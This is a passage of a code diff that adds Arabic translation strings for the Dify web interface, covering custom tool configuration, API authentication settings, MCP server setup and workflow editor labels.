+    editTitle: 'تعديل أداة مخصصة',
+    name: 'الاسم',
+    toolNamePlaceHolder: 'أدخل اسم الأداة',
+    nameForToolCall: 'اسم استدعاء الأداة',
+    nameForToolCallPlaceHolder: 'يستخدم للتعرف على الآلة، مثل getCurrentWeather, list_pets',
+    nameForToolCallTip: 'يدعم فقط الأرقام والحروف والشرطات السفلية.',
+    description: 'الوصف',
+    descriptionPlaceholder: 'وصف موجز لغرض الأداة، على سبيل المثال، الحصول على درجة الحرارة لموقع معين.',
+    schema: 'المخطط',
+    schemaPlaceHolder: 'أدخل مخطط OpenAPI الخاص بك هنا',
+    viewSchemaSpec: 'عرض مواصفات OpenAPI-Swagger',
+    importFromUrl: 'استيراد من عنوان URL',
+    importFromUrlPlaceHolder: 'https://...',
+    urlError: 'يرجى إدخال عنوان URL صالح',
+    examples: 'أمثلة',
+    exampleOptions: {
+      json: 'Weather(JSON)',
+      yaml: 'Pet Store(YAML)',
+      blankTemplate: 'قالب فارغ',
+    },
+    availableTools: {
+      title: 'الأدوات المتاحة',
+      name: 'الاسم',
+      description: 'الوصف',
+      method: 'الطريقة',
+      path: 'المسار',
+      action: 'الإجراءات',
+      test: 'اختبار',
+    },
+    authMethod: {
+      title: 'طريقة التفويض',
+      type: 'نوع التفويض',
+      keyTooltip: 'مفتاح رأس Http، يمكنك تركه بـ "Authorization" إذا لم يكن لديك فكرة عما هو عليه أو تعيينه إلى قيمة مخصصة',
+      queryParam: 'معلمة الاستعلام',
+      queryParamTooltip: 'اسم معلمة استعلام مفتاح API للتمرير، على سبيل المثال "key" في "https://example.com/test?key=API_KEY".',
+      types: {
+        none: 'لا شيء',
+        api_key_header: 'رأس',
+        api_key_query: 'معلمة استعلام',
+        apiKeyPlaceholder: 'اسم رأس HTTP لمفتاح API',
+        apiValuePlaceholder: 'أدخل مفتاح API',
+        queryParamPlaceholder: 'اسم معلمة الاستعلام لمفتاح API',
+      },
+      key: 'مفتاح',
+      value: 'قيمة',
+    },
+    authHeaderPrefix: {
+      title: 'نوع المصادقة',
+      types: {
+        basic: 'أساسي',
+        bearer: 'Bearer',
+        custom: 'مخصص',
+      },
+    },
+    privacyPolicy: 'سياسة الخصوصية',
+    privacyPolicyPlaceholder: 'يرجى إدخال سياسة الخصوصية',
+    toolInput: {
+      title: 'إدخال الأداة',
+      name: 'الاسم',
+      required: 'مطلوب',
+      method: 'الطريقة',
+      methodSetting: 'إعداد',
+      methodSettingTip: 'يملأ المستخدم تكوين الأداة',
+      methodParameter: 'معلمة',
+      methodParameterTip: 'يملأ LLM أثناء الاستنتاج',
+      label: 'العلامات',
+      labelPlaceholder: 'اختر العلامات (اختياري)',
+      description: 'الوصف',
+      descriptionPlaceholder: 'وصف معنى المعلمة',
+    },
+    toolOutput: {
+      title: 'إخراج الأداة',
+      name: 'الاسم',
+      reserved: 'محجوز',
+      reservedParameterDuplicateTip: 'text و json و files هي متغيرات محجوزة. لا يمكن أن تظهر المتغيرات بهذه الأسماء في مخطط الإخراج.',
+      description: 'الوصف',
+    },
+    customDisclaimer: 'إخلاء مسؤولية مخصص',
+    customDisclaimerPlaceholder: 'يرجى إدخال إخلاء مسؤولية مخصص',
+    confirmTitle: 'تأكيد الحفظ؟',
+    confirmTip: 'ستتأثر التطبيقات التي تستخدم هذه الأداة',
+    deleteToolConfirmTitle: 'حذف هذه الأداة؟',
+    deleteToolConfirmContent: 'حذف الأداة لا رجعة فيه. لن يتمكن المستخدمون بعد الآن من الوصول إلى أداتك.',
+  },
+  test: {
+    title: 'اختبار',
+    parametersValue: 'المعلمات والقيمة',
+    parameters: 'المعلمات',
+    value: 'القيمة',
+    testResult: 'نتائج الاختبار',
+    testResultPlaceholder: 'ستظهر نتيجة الاختبار هنا',
+  },
+  thought: {
+    using: 'يستخدم',
+    used: 'مستخدم',
+    requestTitle: 'طلب',
+    responseTitle: 'استجابة',
+  },
+  setBuiltInTools: {
+    info: 'معلومات',
+    setting: 'إعداد',
+    toolDescription: 'وصف الأداة',
+    parameters: 'معلمات',
+    string: 'سلسلة',
+    number: 'رقم',
+    file: 'ملف',
+    required: 'مطلوب',
+    infoAndSetting: 'المعلومات والإعدادات',
+  },
+  noCustomTool: {
+    title: 'لا توجد أدوات مخصصة!',
+    content: 'أضف وأدر أدواتك المخصصة هنا لبناء تطبيقات الذكاء الاصطناعي.',
+    createTool: 'إنشاء أداة',
+  },
+  noSearchRes: {
+    title: 'عذرًا، لا توجد نتائج!',
+    content: 'لم نتمكن من العثور على أي أدوات تطابق بحثك.',
+    reset: 'إعادة تعيين البحث',
+  },
+  builtInPromptTitle: 'موجه',
+  toolRemoved: 'تمت إزالة الأداة',
+  notAuthorized: 'غير مفوض',
+  howToGet: 'كيفية الحصول على',
+  openInStudio: 'فتح في الاستوديو',
+  toolNameUsageTip: 'اسم استدعاء الأداة لمنطق الوكيل والتحفيز',
+  copyToolName: 'نسخ الاسم',
+  noTools: 'لم يتم العثور على أدوات',
+  mcp: {
+    create: {
+      cardTitle: 'إضافة خادم MCP (HTTP)',
+      cardLink: 'تعرف على المزيد حول تكامل خادم MCP',
+    },
+    noConfigured: 'غير مكون',
+    updateTime: 'محدث',
+    toolsCount: '{{count}} أدوات',
+    noTools: 'لا توجد أدوات متاحة',
+    modal: {
+      title: 'إضافة خادم MCP (HTTP)',
+      editTitle: 'تعديل خادم MCP (HTTP)',
+      name: 'الاسم والأيقونة',
+      namePlaceholder: 'قم بتسمية خادم MCP الخاص بك',
+      serverUrl: 'عنوان URL للخادم',
+      serverUrlPlaceholder: 'عنوان URL لنقطة نهاية الخادم',
+      serverUrlWarning: 'قد يؤدي تحديث عنوان الخادم إلى تعطيل التطبيقات التي تعتمد على هذا الخادم',
+      serverIdentifier: 'معرف الخادم',
+      serverIdentifierTip: 'معرف فريد لخادم MCP داخل مساحة العمل. أحرف صغيرة وأرقام وشرطات سفلية وواصلات فقط. ما يصل إلى 24 حرفًا.',
+      serverIdentifierPlaceholder: 'معرف فريد، على سبيل المثال، my-mcp-server',
+      serverIdentifierWarning: 'لن يتم التعرف على الخادم بواسطة التطبيقات الموجودة بعد تغيير المعرف',
+      headers: 'رؤوس',
+      headersTip: 'رؤوس HTTP إضافية للإرسال مع طلبات خادم MCP',
+      headerKey: 'اسم الرأس',
+      headerValue: 'قيمة الرأس',
+      headerKeyPlaceholder: 'على سبيل المثال، Authorization',
+      headerValuePlaceholder: 'على سبيل المثال، Bearer token123',
+      addHeader: 'إضافة رأس',
+      noHeaders: 'لم يتم تكوين رؤوس مخصصة',
+      maskedHeadersTip: 'يتم إخفاء قيم الرأس للأمان. ستقوم التغييرات بتحديث القيم الفعلية.',
+      cancel: 'إلغاء',
+      save: 'حفظ',
+      confirm: 'إضافة وتفويض',
+      timeout: 'مهلة',
+      sseReadTimeout: 'مهلة قراءة SSE',
+      timeoutPlaceholder: '30',
+      authentication: 'المصادقة',
+      useDynamicClientRegistration: 'استخدام تسجيل العميل الديناميكي',
+      redirectUrlWarning: 'يرجى تكوين عنوان URL لإعادة توجيه OAuth الخاص بك إلى:',
+      clientID: 'معرف العميل',
+      clientSecret: 'سر العميل',
+      clientSecretPlaceholder: 'سر العميل',
+      configurations: 'التكوينات',
+    },
+    delete: 'إزالة خادم MCP',
+    deleteConfirmTitle: 'هل ترغب في إزالة {{mcp}}؟',
+    operation: {
+      edit: 'تعديل',
+      remove: 'إزالة',
+    },
+    authorize: 'تفويض',
+    authorizing: 'جارٍ التفويض...',
+    authorizingRequired: 'التفويض مطلوب',
+    authorizeTip: 'بعد التفويض، سيتم عرض الأدوات هنا.',
+    update: 'تحديث',
+    updating: 'جارٍ التحديث',
+    gettingTools: 'جارٍ الحصول على الأدوات...',
+    updateTools: 'جارٍ تحديث الأدوات...',
+    toolsEmpty: 'لم يتم تحميل الأدوات',
+    getTools: 'احصل على الأدوات',
+    toolUpdateConfirmTitle: 'تحديث قائمة الأدوات',
+    toolUpdateConfirmContent: 'قد يؤثر تحديث قائمة الأدوات على التطبيقات الموجودة. هل ترغب في المتابعة؟',
+    toolsNum: '{{count}} أدوات متضمنة',
+    onlyTool: 'أداة واحدة متضمنة',
+    identifier: 'معرف الخادم (انقر للنسخ)',
+    server: {
+      title: 'خادم MCP',
+      url: 'عنوان URL للخادم',
+      reGen: 'هل تريد إعادة إنشاء عنوان URL للخادم؟',
+      addDescription: 'إضافة وصف',
+      edit: 'تعديل الوصف',
+      modal: {
+        addTitle: 'إضافة وصف لتمكين خادم MCP',
+        editTitle: 'تعديل الوصف',
+        description: 'الوصف',
+        descriptionPlaceholder: 'اشرح ما تفعله هذه الأداة وكيف يجب استخدامها بواسطة LLM',
+        parameters: 'المعلمات',
+        parametersTip: 'أضف أوصافًا لكل معلمة لمساعدة LLM على فهم الغرض منها والقيود المفروضة عليها.',
+        parametersPlaceholder: 'الغرض من المعلمة والقيود',
+        confirm: 'تمكين خادم MCP',
+      },
+      publishTip: 'التطبيق غير منشور. يرجى نشر التطبيق أولاً.',
+    },
+    toolItem: {
+      noDescription: 'لا يوجد وصف',
+      parameters: 'المعلمات',
+    },
+  },
+  allTools: 'جميع الأدوات',
+}
+
+export default translation
diff --git a/web/i18n/ar-TN/workflow.ts b/web/i18n/ar-TN/workflow.ts
new file mode 100644
index 0000000000..005045c4a7
--- /dev/null
+++ b/web/i18n/ar-TN/workflow.ts
@@ -0,0 +1,1296 @@
+const translation = {
+  common: {
+    undo: 'تراجع',
+    redo: 'إعادة',
+    editing: 'تعديل',
+    autoSaved: 'تم الحفظ تلقائيًا',
+    unpublished: 'غير منشور',
+    published: 'منشور',
+    publish: 'نشر',
+    update: 'تحديث',
+    publishUpdate: 'نشر التحديث',
+    run: 'تشغيل',
+    running: 'جارٍ التشغيل',
+    listening: 'الاستماع',
+    chooseStartNodeToRun: 'اختر عقدة البداية للتشغيل',
+    runAllTriggers: 'تشغيل جميع المشغلات',
+    inRunMode: 'في وضع التشغيل',
+    inPreview: 'في المعاينة',
+    inPreviewMode: 'في وضع المعاينة',
+    preview: 'معاينة',
+    viewRunHistory: 'عرض سجل التشغيل',
+    runHistory: 'سجل التشغيل',
+    goBackToEdit: 'العودة إلى المحرر',
+    conversationLog: 'سجل المحادثة',
+    features: 'الميزات',
+    featuresDescription: 'تحسين تجربة مستخدم تطبيق الويب',
+    ImageUploadLegacyTip: 'يمكنك الآن إنشاء متغيرات نوع الملف في نموذج البداية. لن ندعم ميزة تحميل الصور في المستقبل. ',
+    fileUploadTip: 'تم ترقية ميزات تحميل الصور إلى تحميل الملفات. ',
+    featuresDocLink: 'تعرف على المزيد',
+    debugAndPreview: 'معاينة',
+    restart: 'إعادة تشغيل',
+    currentDraft: 'المسودة الحالية',
+    currentDraftUnpublished: 'المسودة الحالية غير منشورة',
+    latestPublished: 'آخر منشور',
+    publishedAt: 'تم النشر في',
+    restore: 'استعادة',
+    versionHistory: 'سجل الإصدارات',
+    exitVersions: 'خروج من الإصدارات',
+    runApp: 'تشغيل التطبيق',
+    batchRunApp: 'تشغيل التطبيق دفعة واحدة',
+    openInExplore: 'فتح في الاستكشاف',
+    accessAPIReference: 'الوصول إلى مرجع API',
+    embedIntoSite: 'تضمين في الموقع',
+    addTitle: 'إضافة عنوان...',
+    addDescription: 'إضافة وصف...',
+    noVar: 'لا يوجد متغير',
+    searchVar: 'بحث عن متغير',
+    variableNamePlaceholder: 'اسم المتغير',
+    setVarValuePlaceholder: 'تعيين متغير',
+    needConnectTip: 'هذه الخطوة غير متصلة بأي شيء',
+    maxTreeDepth: 'الحد الأقصى لـ {{depth}} عقد لكل فرع',
+    needAdd: 'يجب إضافة عقدة {{node}}',
+    needOutputNode: 'يجب إضافة عقدة الإخراج',
+    needStartNode: 'يجب إضافة عقدة بدء واحدة على الأقل',
+    needAnswerNode: 'يجب إضافة عقدة الإجابة',
+    workflowProcess: 'عملية سير العمل',
+    notRunning: 'لم يتم التشغيل بعد',
+    previewPlaceholder: 'أدخل المحتوى في المربع أدناه لبدء تصحيح أخطاء Chatbot',
+    effectVarConfirm: {
+      title: 'إزالة المتغير',
+      content: 'يتم استخدام المتغير في عقد أخرى. هل ما زلت تريد إزالته؟',
+    },
+    insertVarTip: 'اضغط على مفتاح \'/\' للإدراج بسرعة',
+    processData: 'معالجة البيانات',
+    input: 'إدخال',
+    output: 'إخراج',
+    jinjaEditorPlaceholder: 'اكتب \'/\' أو \'{\' لإدراج متغير',
+    viewOnly: 'عرض فقط',
+    showRunHistory: 'عرض سجل التشغيل',
+    enableJinja: 'تمكين دعم قالب Jinja',
+    learnMore: 'تعرف على المزيد',
+    copy: 'نسخ',
+    duplicate: 'تكرار',
+    addBlock: 'إضافة عقدة',
+    pasteHere: 'لصق هنا',
+    pointerMode: 'وضع المؤشر',
+    handMode: 'وضع اليد',
+    exportImage: 'تصدير صورة',
+    exportPNG: 'تصدير كـ PNG',
+    exportJPEG: 'تصدير كـ JPEG',
+    exportSVG: 'تصدير كـ SVG',
+    currentView: 'العرض الحالي',
+    currentWorkflow: 'سير العمل الحالي',
+    moreActions: 'المزيد من الإجراءات',
+    model: 'النموذج',
+    workflowAsTool: 'سير العمل كأداة',
+    configureRequired: 'التكوين مطلوب',
+    configure: 'تكوين',
+    manageInTools: 'إدارة في الأدوات',
+    workflowAsToolTip: 'التكوين المطلوب للأداة بعد تحديث سير العمل.',
+    workflowAsToolDisabledHint: 'انشر أحدث سير عمل وتأكد من وجود عقدة إدخال مستخدم متصلة قبل تكوينها كأداة.',
+    viewDetailInTracingPanel: 'عرض التفاصيل',
+    syncingData: 'مزامنة البيانات، بضع ثوان فقط.',
+    importDSL: 'استيراد DSL',
+    importDSLTip: 'سيتم استبدال المسودة الحالية.\nقم بتصدير سير العمل كنسخة احتياطية قبل الاستيراد.',
+    backupCurrentDraft: 'نسخ احتياطي للمسودة الحالية',
+    chooseDSL: 'اختر ملف DSL',
+    overwriteAndImport: 'استبدال واستيراد',
+    importFailure: 'فشل الاستيراد',
+    importWarning: 'تحذير',
+    importWarningDetails: 'قد يؤثر اختلاف إصدار DSL على ميزات معينة',
+    importSuccess: 'تم الاستيراد بنجاح',
+    parallelTip: {
+      click: {
+        title: 'نقرة',
+        desc: ' للإضافة',
+      },
+      drag: {
+        title: 'سحب',
+        desc: ' للتوصيل',
+      },
+      limit: 'يقتصر التوازي على {{num}} فروع.',
+      depthLimit: 'حد طبقة التداخل المتوازي {{num}} طبقات',
+    },
+    disconnect: 'قطع الاتصال',
+    jumpToNode: 'القفز إلى هذه العقدة',
+    addParallelNode: 'إضافة عقدة متوازية',
+    parallel: 'توازي',
+    branch: 'فرع',
+    onFailure: 'عند الفشل',
+    addFailureBranch: 'إضافة فرع فشل',
+    loadMore: 'تحميل المزيد',
+    noHistory: 'لا يوجد سجل',
+    tagBound: 'عدد التطبيقات التي تستخدم هذه العلامة',
+  },
+  publishLimit: {
+    startNodeTitlePrefix: 'قم بالترقية إلى',
+    startNodeTitleSuffix: 'فتح مشغلات غير محدودة لكل سير عمل',
+    startNodeDesc: 'لقد وصلت إلى الحد المسموح به وهو 2 مشغلات لكل سير عمل لهذه الخطة. قم بالترقية لنشر سير العمل هذا.',
+  },
+  env: {
+    envPanelTitle: 'متغيرات البيئة',
+    envDescription: 'يمكن استخدام متغيرات البيئة لتخزين المعلومات الخاصة وبيانات الاعتماد. فهي للقراءة فقط ويمكن فصلها عن ملف DSL أثناء التصدير.',
+    envPanelButton: 'إضافة متغير',
+    modal: {
+      title: 'إضافة متغير بيئة',
+      editTitle: 'تعديل متغير بيئة',
+      type: 'النوع',
+      name: 'الاسم',
+      namePlaceholder: 'اسم المتغير',
+      value: 'القيمة',
+      valuePlaceholder: 'قيمة المتغير',
+      secretTip: 'يستخدم لتحديد معلومات أو بيانات حساسة، مع إعدادات DSL المكونة لمنع التسرب.',
+      description: 'الوصف',
+      descriptionPlaceholder: 'وصف المتغير',
+    },
+    export: {
+      title: 'تصدير متغيرات البيئة السرية؟',
+      checkbox: 'تصدير القيم السرية',
+      ignore: 'تصدير DSL',
+      export: 'تصدير DSL مع القيم السرية ',
+    },
+  },
+  globalVar: {
+    title: 'متغيرات النظام',
+    description: 'متغيرات النظام هي متغيرات عامة يمكن الإشارة إليها بواسطة أي عقدة دون توصيل عندما يكون النوع صحيحًا، مثل معرف المستخدم ومعرف سير العمل.',
+    fieldsDescription: {
+      conversationId: 'معرف المحادثة',
+      dialogCount: 'عدد المحادثات',
+      userId: 'معرف المستخدم',
+      triggerTimestamp: 'توقيت بدء التطبيق',
+      appId: 'معرف التطبيق',
+      workflowId: 'معرف سير العمل',
+      workflowRunId: 'معرف تشغيل سير العمل',
+    },
+  },
+  sidebar: {
+    exportWarning: 'تصدير النسخة المحفوظة الحالية',
+    exportWarningDesc: 'سيؤدي هذا إلى تصدير النسخة المحفوظة الحالية من سير العمل الخاص بك. إذا كانت لديك تغييرات غير محفوظة في المحرر، يرجى حفظها أولاً باستخدام خيار التصدير في لوحة سير العمل.',
+  },
+  chatVariable: {
+    panelTitle: 'متغيرات المحادثة',
+    panelDescription: 'تستخدم متغيرات المحادثة لتخزين المعلومات التفاعلية التي يحتاج LLM إلى تذكرها، بما في ذلك سجل المحادثة والملفات التي تم تحميلها وتفضيلات المستخدم. هم للقراءة والكتابة. ',
+    docLink: 'قم بزيارة مستنداتنا لمعرفة المزيد.',
+    button: 'إضافة متغير',
+    modal: {
+      title: 'إضافة متغير محادثة',
+      editTitle: 'تعديل متغير محادثة',
+      name: 'الاسم',
+      namePlaceholder: 'اسم المتغير',
+      type: 'النوع',
+      value: 'القيمة الافتراضية',
+      valuePlaceholder: 'القيمة الافتراضية، اتركها فارغة لعدم التعيين',
+      description: 'الوصف',
+      descriptionPlaceholder: 'وصف المتغير',
+      editInJSON: 'تعديل في JSON',
+      oneByOne: 'إضافة واحدة تلو الأخرى',
+      editInForm: 'تعديل في النموذج',
+      arrayValue: 'القيمة',
+      addArrayValue: 'إضافة قيمة',
+      objectKey: 'مفتاح',
+      objectType: 'النوع',
+      objectValue: 'القيمة الافتراضية',
+    },
+    storedContent: 'المحتوى المخزن',
+    updatedAt: 'تم التحديث في ',
+  },
+  changeHistory: {
+    title: 'سجل التغييرات',
+    placeholder: 'لم تقم بتغيير أي شيء بعد',
+    clearHistory: 'مسح السجل',
+    hint: 'تلميح',
+    hintText: 'يتم تتبع إجراءات التحرير الخاصة بك في سجل التغييرات، والذي يتم تخزينه على جهازك طوال مدة هذه الجلسة. سيتم مسح هذا السجل عند مغادرة المحرر.',
+    stepBackward_one: '{{count}} خطوة إلى الوراء',
+    stepBackward_other: '{{count}} خطوات إلى الوراء',
+    stepForward_one: '{{count}} خطوة إلى الأمام',
+    stepForward_other: '{{count}} خطوات إلى الأمام',
+    sessionStart: 'بدء الجلسة',
+    currentState: 'الحالة الحالية',
+    nodeTitleChange: 'تم تغيير عنوان العقدة',
+    nodeDescriptionChange: 'تم تغيير وصف العقدة',
+    nodeDragStop: 'تم نقل العقدة',
+    nodeChange: 'تم تغيير العقدة',
+    nodeConnect: 'تم توصيل العقدة',
+    nodePaste: 'تم لصق العقدة',
+    nodeDelete: 'تم حذف العقدة',
+    nodeAdd: 'تم إضافة العقدة',
+    nodeResize: 'تم تغيير حجم العقدة',
+    noteAdd: 'تم إضافة ملاحظة',
+    noteChange: 'تم تغيير الملاحظة',
+    noteDelete: 'تم حذف الملاحظة',
+    edgeDelete: 'تم قطع اتصال العقدة',
+  },
+  errorMsg: {
+    fieldRequired: '{{field}} مطلوب',
+    rerankModelRequired: 'مطلوب تكوين نموذج Rerank',
+    authRequired: 'الترخيص مطلوب',
+    invalidJson: '{{field}} هو JSON غير صالح',
+    fields: {
+      variable: 'اسم المتغير',
+      variableValue: 'قيمة المتغير',
+      code: 'الكود',
+      model: 'النموذج',
+      rerankModel: 'نموذج Rerank المكون',
+      visionVariable: 'متغير الرؤية',
+    },
+    invalidVariable: 'متغير غير صالح',
+    noValidTool: '{{field}} لا توجد أداة صالحة محددة',
+    toolParameterRequired: '{{field}}: المعلمة [{{param}}] مطلوبة',
+    startNodeRequired: 'الرجاء إضافة عقدة البداية أولاً قبل {{operation}}',
+  },
+  error: {
+    startNodeRequired: 'الرجاء إضافة عقدة البداية أولاً قبل {{operation}}',
+    operations: {
+      connectingNodes: 'توصيل العقد',
+      addingNodes: 'إضافة العقد',
+      modifyingWorkflow: 'تعديل سير العمل',
+      updatingWorkflow: 'تحديث سير العمل',
+    },
+  },
+  singleRun: {
+    testRun: 'تشغيل اختياري',
+    startRun: 'بدء التشغيل',
+    preparingDataSource: 'تحضير مصدر البيانات',
+    reRun: 'إعادة التشغيل',
+    running: 'جارٍ التشغيل',
+    testRunIteration: 'تكرار تشغيل الاختبار',
+    back: 'خلف',
+    iteration: 'تكرار',
+    loop: 'حلقة',
+  },
+  tabs: {
+    'searchBlock': 'بحث عن عقدة',
+    'start': 'البداية',
+    'blocks': 'العقد',
+    'searchTool': 'أداة البحث',
+    'searchTrigger': 'بحث عن المشغلات...',
+    'allTriggers': 'كل المشغلات',
+    'tools': 'الأدوات',
+    'allTool': 'الكل',
+    'plugin': 'الإضافة',
+    'customTool': 'مخصص',
+    'workflowTool': 'سير العمل',
+    'question-understand': 'فهم السؤال',
+    'logic': 'المنطق',
+    'transform': 'تحويل',
+    'utilities': 'الأدوات المساعدة',
+    'noResult': 'لم يتم العثور على تطابق',
+    'noPluginsFound': 'لم يتم العثور على إضافات',
+    'requestToCommunity': 'طلبات للمجتمع',
+    'agent': 'استراتيجية الوكيل',
+    'allAdded': 'تمت إضافة الكل',
+    'addAll': 'إضافة الكل',
+    'sources': 'المصادر',
+    'searchDataSource': 'بحث في مصدر البيانات',
+    'featuredTools': 'المميزة',
+    'showMoreFeatured': 'عرض المزيد',
+    'showLessFeatured': 'عرض أقل',
+    'installed': 'مثبت',
+    'pluginByAuthor': 'بواسطة {{author}}',
+    'usePlugin': 'حدد الأداة',
+    'hideActions': 'إخفاء الأدوات',
+    'noFeaturedPlugins': 'اكتشف المزيد من الأدوات في السوق',
+    'noFeaturedTriggers': 'اكتشف المزيد من المشغلات في السوق',
+    'startDisabledTip': 'تتعارض عقدة المشغل وعقدة إدخال المستخدم.',
+  },
+  blocks: {
+    'start': 'إدخال المستخدم',
+    'originalStartNode': 'عقدة البداية الأصلية',
+    'end': 'الإخراج',
+    'answer': 'إجابة',
+    'llm': 'LLM',
+    'knowledge-retrieval': 'استرجاع المعرفة',
+    'question-classifier': 'مصنف الأسئلة',
+    'if-else': 'IF/ELSE',
+    'code': 'كود',
+    'template-transform': 'قالب',
+    'http-request': 'طلب HTTP',
+    'variable-assigner': 'مجمع المتغيرات',
+    'variable-aggregator': 'مجمع المتغيرات',
+    'assigner': 'معين المتغيرات',
+    'iteration-start': 'بداية التكرار',
+    'iteration': 'تكرار',
+    'parameter-extractor': 'مستخرج المعلمات',
+    'document-extractor': 'مستخرج المستندات',
+    'list-operator': 'مشغل القائمة',
+    'agent': 'وكيل',
+    'loop-start': 'بداية الحلقة',
+    'loop': 'حلقة',
+    'loop-end': 'خروج من الحلقة',
+    'knowledge-index': 'قاعدة المعرفة',
+    'datasource': 'مصدر البيانات',
+    'trigger-schedule': 'جدولة المشغل',
+    'trigger-webhook': 'مشغل الويب هوك',
+    'trigger-plugin': 'مشغل الإضافة',
+  },
+  customWebhook: 'ويب هوك مخصص',
+  blocksAbout: {
+    'start': 'تحديد المعلمات الأولية لبدء سير العمل',
+    'end': 'تحديد الإخراج ونوع النتيجة لسير العمل',
+    'answer': 'تحديد محتوى الرد لمحادثة الدردشة',
+    'llm': 'استدعاء نماذج اللغة الكبيرة للإجابة على الأسئلة أو معالجة اللغة الطبيعية',
+    'knowledge-retrieval': 'يسمح لك بالاستعلام عن محتوى النص المتعلق بأسئلة المستخدم من المعرفة',
+    'question-classifier': 'تحديد شروط تصنيف أسئلة المستخدم، يمكن لـ LLM تحديد كيفية تقدم المحادثة بناءً على وصف التصنيف',
+    'if-else': 'يسمح لك بتقسيم سير العمل إلى فرعين بناءً على شروط if/else',
+    'code': 'تنفيذ قطعة من كود Python أو NodeJS لتنفيذ منطق مخصص',
+    'template-transform': 'تحويل البيانات إلى سلسلة باستخدام بنية قالب Jinja',
+    'http-request': 'السماح بإرسال طلبات الخادم عبر بروتوكول HTTP',
+    'variable-assigner': 'تجميع متغيرات متعددة الفروع في متغير واحد للتكوين الموحد للعقد النهائية.',
+    'assigner': 'تُستخدم عقدة تعيين المتغير لتعيين قيم للمتغيرات القابلة للكتابة (مثل متغيرات المحادثة).',
+    'variable-aggregator': 'تجميع متغيرات متعددة الفروع في متغير واحد للتكوين الموحد للعقد النهائية.',
+    'iteration': 'تنفيذ خطوات متعددة على كائن قائمة حتى يتم إخراج جميع النتائج.',
+    'loop': 'تنفيذ حلقة من المنطق حتى يتم استيفاء شروط الإنهاء أو الوصول إلى الحد الأقصى لعدد الحلقات.',
+    'loop-end': 'يعادل "break". هذه العقدة لا تحتوي على عناصر تكوين. عندما يصل جسم الحلقة إلى هذه العقدة، تنتهي الحلقة.',
+    'parameter-extractor': 'استخدم LLM لاستخراج المعلمات الهيكلية من اللغة الطبيعية لاستدعاء الأدوات أو طلبات HTTP.',
+    'document-extractor': 'تستخدم لتحليل المستندات التي تم تحميلها إلى محتوى نصي يسهل فهمه بواسطة LLM.',
+    'list-operator': 'تستخدم لتصفية أو فرز محتوى المصفوفة.',
+    'agent': 'استدعاء نماذج اللغة الكبيرة للإجابة على الأسئلة أو معالجة اللغة الطبيعية',
+    'knowledge-index': 'حول قاعدة المعرفة',
+    'datasource': 'حول مصدر البيانات',
+    'trigger-schedule': 'مشغل سير عمل قائم على الوقت يبدأ سير العمل وفقًا لجدول زمني',
+    'trigger-webhook': 'يتلقى مشغل Webhook دفعات HTTP من أنظمة خارجية لتشغيل سير العمل تلقائيًا.',
+    'trigger-plugin': 'مشغل تكامل تابع لجهة خارجية يبدأ سير العمل من أحداث النظام الأساسي الخارجي',
+  },
+  difyTeam: 'فريق Dify',
+  operator: {
+    zoomIn: 'تكبير',
+    zoomOut: 'تصغير',
+    zoomTo50: 'تكبير إلى 50%',
+    zoomTo100: 'تكبير إلى 100%',
+    zoomToFit: 'ملاءمة الشاشة',
+    alignNodes: 'محاذاة العقد',
+    alignLeft: 'يسار',
+    alignCenter: 'وسط',
+    alignRight: 'يمين',
+    alignTop: 'أعلى',
+    alignMiddle: 'وسط',
+    alignBottom: 'أسفل',
+    vertical: 'عمودي',
+    horizontal: 'أفقي',
+    distributeHorizontal: 'توزيع أفقي',
+    distributeVertical: 'توزيع عمودي',
+    selectionAlignment: 'محاذاة التحديد',
+  },
+  variableReference: {
+    noAvailableVars: 'لا توجد متغيرات متاحة',
+    noVarsForOperation: 'لا توجد متغيرات متاحة للتعيين مع العملية المحددة.',
+    noAssignedVars: 'لا توجد متغيرات معينة متاحة',
+    assignedVarsDescription: 'يجب أن تكون المتغيرات المعينة متغيرات قابلة للكتابة، مثل ',
+    conversationVars: 'متغيرات المحادثة',
+  },
+  panel: {
+    userInputField: 'حقل إدخال المستخدم',
+    changeBlock: 'تغيير العقدة',
+    helpLink: 'عرض المستندات',
+    openWorkflow: 'فتح سير العمل',
+    about: 'حول',
+    createdBy: 'تم الإنشاء بواسطة ',
+    nextStep: 'الخطوة التالية',
+    addNextStep: 'إضافة الخطوة التالية في هذا سير العمل',
+    selectNextStep: 'تحديد الخطوة التالية',
+    runThisStep: 'تشغيل هذه الخطوة',
+    checklist: 'قائمة المراجعة',
+    checklistTip: 'تأكد من حل جميع المشكلات قبل النشر',
+    checklistResolved: 'تم حل جميع المشكلات',
+    goTo: 'الذهاب إلى',
+    startNode: 'عقدة البداية',
+    organizeBlocks: 'تنظيم العقد',
+    change: 'تغيير',
+    optional: '(اختياري)',
+    maximize: 'تكبير القماش',
+    minimize: 'خروج من وضع ملء الشاشة',
+    scrollToSelectedNode: 'تمرير إلى العقدة المحددة',
+    optional_and_hidden: '(اختياري ومخفي)',
+  },
+  nodes: {
+    common: {
+      outputVars: 'متغيرات الإخراج',
+      insertVarTip: 'إدراج متغير',
+      memory: {
+        memory: 'الذاكرة',
+        memoryTip: 'إعدادات ذاكرة الدردشة',
+        windowSize: 'حجم النافذة',
+        conversationRoleName: 'اسم دور المحادثة',
+        user: 'بادئة المستخدم',
+        assistant: 'بادئة المساعد',
+      },
+      memories: {
+        title: 'الذكريات',
+        tip: 'ذاكرة الدردشة',
+        builtIn: 'مدمج',
+      },
+      errorHandle: {
+        title: 'معالجة الأخطاء',
+        tip: 'استراتيجية التعامل مع الاستثناءات، يتم تشغيلها عندما تواجه العقدة استثناءً.',
+        none: {
+          title: 'لا شيء',
+          desc: 'ستتوقف العقدة عن العمل في حالة حدوث استثناء ولم يتم التعامل معه',
+        },
+        defaultValue: {
+          title: 'القيم الافتراضية',
+          desc: 'عند حدوث خطأ، حدد محتوى إخراج ثابت.',
+          tip: 'عند الخطأ، سيعود القيمة أدناه.',
+          inLog: 'استثناء العقدة، الإخراج وفقًا للقيم الافتراضية.',
+          output: 'إخراج القيمة الافتراضية',
+        },
+        failBranch: {
+          title: 'فرع الفشل',
+          desc: 'عند حدوث خطأ، سيتم تنفيذ فرع الاستثناء',
+          customize: 'انتقل إلى القماش لتخصيص منطق فرع الفشل.',
+          customizeTip: 'عند تنشيط فرع الفشل، لن تؤدي الاستثناءات التي تطرحها العقد إلى إنهاء العملية. بدلاً من ذلك، سيتم تنفيذ فرع الفشل المحدد مسبقًا تلقائيًا، مما يسمح لك بتقديم رسائل خطأ، وتقارير، وإصلاحات، أو اتخاذ إجراءات تخطي بمرونة.',
